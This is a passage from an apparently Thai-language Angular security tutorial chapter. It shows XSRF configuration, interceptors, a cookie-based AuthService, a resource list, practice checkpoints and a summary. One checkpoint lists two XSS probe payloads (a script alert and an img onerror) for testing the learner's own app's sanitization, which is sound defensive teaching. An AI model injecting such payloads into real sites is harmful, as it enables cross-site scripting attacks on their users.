import { GlobalErrorHandler } from './error-handler';

export const appConfig: ApplicationConfig = {
    providers: [
        provideRouter(routes),
        
        provideHttpClient(
            withFetch(),
            withXsrfConfiguration({
                cookieName: 'XSRF-TOKEN',
                headerName: 'X-XSRF-TOKEN'
            }),
            withInterceptors([
                credentialsInterceptor,    // withCredentials: true
                // authInterceptor,        // เพิ่มถ้าใช้ header-based JWT
                refreshInterceptor,         // 401 → refresh
                errorInterceptor             // global error handling
            ])
        ),
        
        { provide: ErrorHandler, useClass: GlobalErrorHandler }
    ]
};
typescript
// interceptors/credentials.interceptor.ts
import { HttpInterceptorFn } from '@angular/common/http';

export const credentialsInterceptor: HttpInterceptorFn = (req, next) => {
    return next(req.clone({ withCredentials: true }));
};
typescript
// interceptors/error.interceptor.ts
import { inject } from '@angular/core';
import { HttpInterceptorFn, HttpErrorResponse } from '@angular/common/http';
import { Router } from '@angular/router';
import { catchError, throwError } from 'rxjs';

export const errorInterceptor: HttpInterceptorFn = (req, next) => {
    const router = inject(Router);
    const notify = inject(NotificationService);  // NotificationService เป็น service สมมติ — inject ของจริงตามโปรเจกต์ (เช่น MatSnackBar หรือ toast library ที่ใช้)
    
    return next(req).pipe(
        catchError((err: HttpErrorResponse) => {
            switch (err.status) {
                case 401:
                    router.navigate(['/login']);
                    break;
                case 403:
                    notify.error('Access denied');
                    router.navigate(['/forbidden']);
                    break;
                case 429:
                    notify.error('Too many requests. Please slow down.');
                    break;
                case 0:
                    notify.error('Network error');
                    break;
                case 500:
                case 502:
                case 503:
                    notify.error('Server error. Please try again later.');
                    break;
            }
            return throwError(() => err);
        })
    );
};
typescript
// services/auth.service.ts
import { Injectable, inject, signal, computed } from '@angular/core';
import { HttpClient } from '@angular/common/http';
import { Router } from '@angular/router';
import { firstValueFrom } from 'rxjs';
import { tap } from 'rxjs/operators';

@Injectable({ providedIn: 'root' })
export class AuthService {
    private http = inject(HttpClient);
    private router = inject(Router);
    
    private _user = signal<User | null>(null);
    private _loading = signal(false);
    
    readonly user = this._user.asReadonly();
    readonly isLoggedIn = computed(() => this._user() !== null);
    readonly loading = this._loading.asReadonly();
    
    constructor() {
        this.checkSession();
    }
    
    async login(credentials: { email: string; password: string }) {
        this._loading.set(true);
        try {
            const user = await firstValueFrom(
                this.http.post<User>('/api/auth/login', credentials)
            );
            this._user.set(user);
            this.router.navigate(['/dashboard']);
        } finally {
            this._loading.set(false);
        }
    }
    
    async logout() {
        try {
            await firstValueFrom(this.http.post('/api/auth/logout', {}));
        } finally {
            this._user.set(null);
            this.router.navigate(['/login']);
        }
    }
    
    refresh() {
        return this.http.post<User>('/api/auth/refresh', {}).pipe(
            tap(user => this._user.set(user))
        );
    }
    
    private async checkSession() {
        try {
            const user = await firstValueFrom(this.http.get<User>('/api/me'));
            this._user.set(user);
        } catch {
            // Not logged in — fine
        }
    }
}

23. Resources

แหล่งเรียนรู้ต่อด้านความปลอดภัยที่ควรบุ๊กมาร์กไว้ — ทั้งมาตรฐาน OWASP, คู่มือ security ของ Angular และเครื่องมือสแกนช่องโหว่/ทดสอบเจาะระบบ:

Official + Standards

Tools

  • Snyk — vulnerability scanning
  • OWASP ZAP — pentesting
  • Burp Suite — interception proxy
  • CSP Evaluator (Google) — check your CSP
  • securityheaders.com — scan your HTTP headers
  • Mozilla Observatory — security grade

Books

  • "Web Application Hacker's Handbook" (Stuttard, Pinto)
  • "Real-World Bug Hunting" (Yaworski)

Newsletter

  • tldrsec
  • Krebs on Security
  • The Hacker News

24. Checkpoint

ลองลงมือฝึกตามโจทย์ด้านล่างเพื่อให้เห็นภาพจริง ตั้งแต่ audit dependency, ตั้ง CSP, ทดสอบ XSS ไปจนถึงตั้งค่า auth cookie แบบปลอดภัย:

🛠️ Checkpoint 13.1 — Audit Dependencies

  • Run npm audit ใน app
  • Fix high/critical
  • Setup Dependabot ใน GitHub

🛠️ Checkpoint 13.2 — CSP Setup

  • Add CSP header (server config or <meta http-equiv>)
  • Open browser DevTools — fix violations one by one
  • Verify with CSP Evaluator

🛠️ Checkpoint 13.3 — XSS Test

  • Try input <script>alert(1)</script> — should display as text
  • Try <img src=x onerror=alert(1)> — should be sanitized
  • Test bypassSecurityTrustHtml — verify proper sanitization

🛠️ Checkpoint 13.4 — Auth Cookie

  • Setup backend to issue HttpOnly cookie
  • Frontend withCredentials: true
  • Verify cookie not accessible from document.cookie
  • CSRF token flow working

🛠️ Checkpoint 13.5 — Security Headers


25. สรุปบท

Threat model: XSS, CSRF, clickjacking, supply chain
Angular built-in sanitization — ใช้ {{ }} / [prop] ไม่ใช่ [innerHTML]
bypassSecurityTrust*: ใช้ระวัง — combine กับ DOMPurify
CSP header — first line of defense XSS (default-src 'self')
Trusted Types (Chromium) — block injection at sink
Auth storage: HttpOnly cookie ดีกว่า localStorage
CSRF: withXsrfConfiguration() + SameSite cookie
Frontend permission = UX, server-side = security
HTTPS + HSTS + secure headers (X-Frame-Options, CSP, ...)
Source map hidden in production
No secret in environment.ts (frontend bundle = public)
npm audit + Snyk + Dependabot ใน CI
Global ErrorHandler + Sentry for monitoring
✅ Test: penetration test, static analysis, manual review


← บทที่ 12: Accessibility | สารบัญ | บทที่ 14: Material + CDK →


🔤 Glossary · 📋 Style guide · 📅 last_verified: 2026-06-03